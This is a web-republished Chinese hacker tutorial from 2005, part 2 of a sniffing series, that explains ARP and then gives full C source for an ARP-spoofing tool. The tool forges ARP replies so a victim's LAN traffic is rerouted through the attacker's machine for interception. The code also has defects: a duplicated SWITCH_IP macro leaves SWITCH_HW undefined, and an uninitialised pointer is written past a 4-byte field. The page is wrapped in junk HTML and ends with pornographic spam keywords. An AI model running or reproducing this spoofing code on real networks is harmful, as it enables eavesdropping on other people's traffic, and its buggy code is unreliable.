• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • hacker成長的代碼之路:嗅探(2)

    發表于:2007-07-04來源:作者:點擊數: 標簽:
    作者:kf_701 寫作時間:2005/4 Email:kf_701@21cn.com 轉載請保留原作者信息,謝謝。 要求的專業知識: 一: 精通OSI參考模型,精通 網絡 五層:物理層,數據鏈路層, 網絡 層,傳 輸層,應用層。精通每一層的協議,數據報格式。精通 網絡 拓撲結構, 第一
                   作者:kf_701  寫作時間:2005/4  Email:kf_701@21cn.com
                    轉載請保留原作者信息,謝謝。


    要求的專業知識
            一:    精通OSI參考模型,精通網絡五層:物理層,數據鏈路層,網絡層,傳
                    輸層,應用層。精通每一層的協議,數據報格式。精通網絡拓撲結構,
                    第一層,第二層,第三層的網絡互聯,數據的轉發和路由等。
            二:    精通C語言程序設計,UNIX/LINUX程序設計,網絡程序設計。熟悉
                    UNIX/LINUX系統操作,熟悉著名服務的基本配置,特性及使用的端口
                    號。熟悉經典網絡命令的使用,如:netstat,ping,traceroute,
                    netcat,arp等。
            三:    精通標準SQL語言,熟悉流行的數據庫使用,如:Oracle,Mysql等。
                    掌握數據庫與WEB語言的結合使用。

        我寫到此處,假設你是完全理解局域網的。不過還是引用一段LionD8的文字吧:現在我們就用實例來模擬一下局域網傳輸的全過程?,F在有一臺計算機A(IP:192.168.85.1   MAC:AA-AA-AA-AA-AA-AA),另一臺計算機B(IP:192.168.85.100 MAC:BB-BB-BB-BB-BB-BB)現在用A去 ping B??匆?Reply from 192.168.85.100: bytes=32 time<10ms TTL=32 這樣的信息。然后在運行中輸入arp -a,會看見 192.168.8.100  BB-BB-BB-BB-BB-BB  dynamic這樣的信息。那就是arp高速緩存中IP地址和MAC地址的一個映射關系,在以太網中,數據傳遞靠的是MAC,而并不是IP地址。其實在這背后就隱藏著arp的秘密。你一定會問,網絡上這么多計算機,A是怎 么找到B的?那么我們就來分析一下細節。首先A并不知道B在哪里,那么A首先就會發一個廣播的ARP請求,即目的MAC為FF-FF-FF-FF-FF-FF,目的IP為B的192.168.85.100,再帶上自己的源IP,和源 MAC。那么一個網段上的所有計算機都會接收到來自A的ARP請求,由于每臺計算機都有自己唯一的MAC和IP,那么它會分析目的IP即 192.168.85.100是不是自己的IP?如果不是,網卡會自動丟棄數據包。如果B接收到了,經過分析,目的IP是自己的,于是更新自己的ARP高速緩存,記錄下A的IP和MAC。然后B就會回應A一個ARP應答,就是把A的源IP,源MAC變成現在目的IP,和目的MAC,再帶上自己的源IP,源 MAC,發送給A。當A機接收到ARP應答后,更新自 己的ARP高速緩存,即把arp應答中的B機的源IP,源MAC的映射關系記錄在高速緩存中。那么現在A機中有B的MAC和IP,B機中也有A的MAC和IP。arp請求和應答過程就結束了。由于arp高速緩存是會定時自動更新的,在沒有靜態綁定的情況下,IP和MAC的映射關系會隨時間流逝自動消失。在以后的通信中,A在和B通信時,會首先 察看arp高速緩存中有沒有B的IP和MAC的映射關系,如果有,就直接取得MAC地址,如果沒有就再發一次ARP請求的廣播,B再應答即重復上面動作。

        計算機在接收到ARP應答的時候,不管有沒有發出ARP請求,都會更新自己的高速緩存。
        還記得前面說過的交換式局域網嗎,為了可以在這樣的局域網里進行sniffer,我們不
    得不進行ARP欺騙。
        現在假設有這樣一個局域網,不管是交換機或是路由做交換設備都可以。我們自己的機
    器的IP是192.168.1.7,交換設備的內部IP是192.168.1.1,也就是網關的地址。還有一臺
    IP是192.168.1.100的機器,就是victim啦,我們想sniffer,就要讓victim機器的所有
    數據報經過我們的機器192.168.1.7來轉發,那么我們就可以用前面寫過的sniffer程序截
    獲信息了。
         我們給交換設備發一個ARP應答,只要把ARP數據報的發送端IP字段填成victim的IP
    即可(這個字段原本應該是本機的IP:192.168.1.7)。
         本程序只能在Linux上面運行,使用了SOCK_PACKET,不過現在應該用:
            #include <sys/socket.h>
            #include <netpacket/packet.h>
            #include <net/ethernet.h>
           packet_socket = socket(PF_PACKET, SOCK_RAW, protocol);
    來代替比較好。

           24-43是完整的ARP數據報結構定義,這是我們自己定義的。不過根據RFC826的定義,
    必須要如此定義。
         43行加了18個字節的0,這是為了把數據報長度填充到以太網數據要求的最小長度:46字節。

        如果你看不懂這個程序,那你應該先想辦法達到我上面說明的專業要求的第一項。



         1  /* writed by kf701
         2   * 2005-4-12
         3   * hefei
         4   * kf_701@21cn.com
         5   */
         6  #include<sys/socket.h>
         7  #include<netinet/in.h>
         8  #include<arpa/inet.h>
         9  #include<sys/types.h>
        10  /* #include<linux/if_ether.h> */
        11
        12  #include<stdio.h>
        13  #include<stdlib.h>
        14  #include<string.h>
        15  #include<ctype.h>
        16
        17  /* ETH_P_ARP=0x0806,defined in linux/if_ether.h */

        18  #define SWITCH_IP       "192.168.1.1"
        19  #define VICTIM_IP       "192.168.1.100"
        20  #define LOCAL_HW        "00:30:1B:36:69:ED"
        21  #define SWITCH_IP       "00:0A:EB:DB:FF:24"
        22  #define DEVICE          "eth0"
        23
        24  struct ether_header{
        25          unsigned char  ether_dhost[6];          /* destination eth addr */
        26          unsigned char  ether_shost[6];          /* source ether addr    */
        27          unsigned short ether_type;              /* packet type ID field */
        28  };
        29  struct arp_header{
        30          unsigned short int ar_hrd;              /* Format of hardware address.  */
        31          unsigned short int ar_pro;              /* Format of protocol address.  */
        32          unsigned char ar_hln;                   /* Length of hardware address.  */
        33          unsigned char ar_pln;                   /* Length of protocol address.  */
        34          unsigned short int ar_op;               /* ARP opcode (command).  */
        35          unsigned char __ar_sha[6];              /* Sender hardware address.  */
        36          unsigned char __ar_sip[4];              /* Sender IP address.  */
        37          unsigned char __ar_tha[6];              /* Target hardware address.  */
        38          unsigned char __ar_tip[4];              /* Target IP address.  */
        39  };
        40  struct arp_packet{
        41          struct ether_header ethhdr;
        42          struct arp_header arphdr;
        43          unsigned char padding[18];              /* filled with 0 */
        44  };
        45  /* arp reply:
        46   *      op = 2
        47   *      ethhdr.ether_dhost = arphdr.__ar_tha = switch hard addr
        48   *      ethhdr.ether_shost = arphdr.__ar_sha = local hard addr
        49   *      arphdr.__ar_tip = switch ip
        50   *      arphdr.__ar_sip = victim ip
        51   */
        52  #define FRAME_TYPE      0x0806                  /* arp=0x0806,rarp=0x8035 */
        53  #define HARD_TYPE       1                       /* ethernet is 1 */
        54  #define PROTO_TYPE      0x0800                  /* IP is 0x0800 */
        55  #define OP_CODE         2                       /* arp=1/2,rarp=3/4 */
        56
        57  void set_ip_addr(char *,char *);
        58  void set_hw_addr(char *,char *);
        59
        60  int main(int argc,char **argv)
        61  {
        62          int sockfd;
        63          struct arp_packet arp;
        64          struct sockaddr sa;
        65
        66          sockfd = socket(AF_INET,SOCK_PACKET,htons(0x0806));
        67          if(sockfd < 0)
        68                  perror("socket error"),exit(1);
        69
        70          /* init arp packet */
        71          arp.ethhdr.ether_type = htons(FRAME_TYPE);
        72          arp.arphdr.ar_hrd = htons(HARD_TYPE);
        73          arp.arphdr.ar_pro = htons(PROTO_TYPE);
        74          arp.arphdr.ar_op = OP_CODE;
        75          arp.arphdr.ar_hln = 6;
        76          arp.arphdr.ar_pln = 4;
        77          set_hw_addr(arp.ethhdr.ether_dhost,SWITCH_HW);
        78          set_hw_addr(arp.ethhdr.ether_shost,LOCAL_HW);
        79          set_hw_addr(arp.arphdr.__ar_tha,SWITCH_HW);
        80          set_hw_addr(arp.arphdr.__ar_sha,LOCAL_HW);
        81          set_ip_addr(arp.arphdr.__ar_tip,SWITCH_IP);
        82          set_ip_addr(arp.arphdr.__ar_sip,VICTIM_IP);
        83          bzero(arp.padding,18);
        84
        85          /* send arp reply packet */
        86          strcpy(sa.sa_data,DEVICE);
        87          if(sendto(sockfd,&arp,sizeof(arp),0,&sa,sizeof(sa))<0)
        88                  perror("sendto error"),exit(1);
        89          /* main return */
        90          exit(0);
        91  }
        92
        93  void set_hw_addr (char *buf, char *str)
        94  {
        95          int i;
        96          char c, val;
        97          for(i = 0; i < 6; i++){
        98                  if (!(c = tolower(*str++)))
        99                          perror("Invalid hardware address"),exit(1);
       100                  if (isdigit(c))
       101                          val = c - '0';
       102                  else if (c >= 'a' && c <= 'f')
       103                          val = c-'a'+10;
       104                  else
       105                          perror("Invalid hardware address"),exit(1);
       106                  *buf = val << 4;
       107                  if (!(c = tolower(*str++)))
       108                          perror("Invalid hardware address"),exit(1);
       109                  if (isdigit(c))
       110                          val = c - '0';
       111                  else if (c >= 'a' && c <= 'f')
       112                          val = c-'a'+10;
       113                  else
       114                          perror("Invalid hardware address"),exit(1);
       115                  *buf++ |= val;
       116                  if (*str == ':')
       117                          str++;
       118          }
       119  }
       120
       121  void set_ip_addr(char *buf,char *str)
       122  {
       123          struct in_addr *addr;
       124          addr->s_addr = inet_addr(str);
       125          memcpy(buf,addr,6);
       126          return;
       127  }

    主函數很短,主要的代碼是前面的結構定義。如果你先前就知道ARP結構,那
    程序就沒有任何要解釋的地方了。
    *****待續*****

    原文轉自:http://www.kjueaiud.com

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>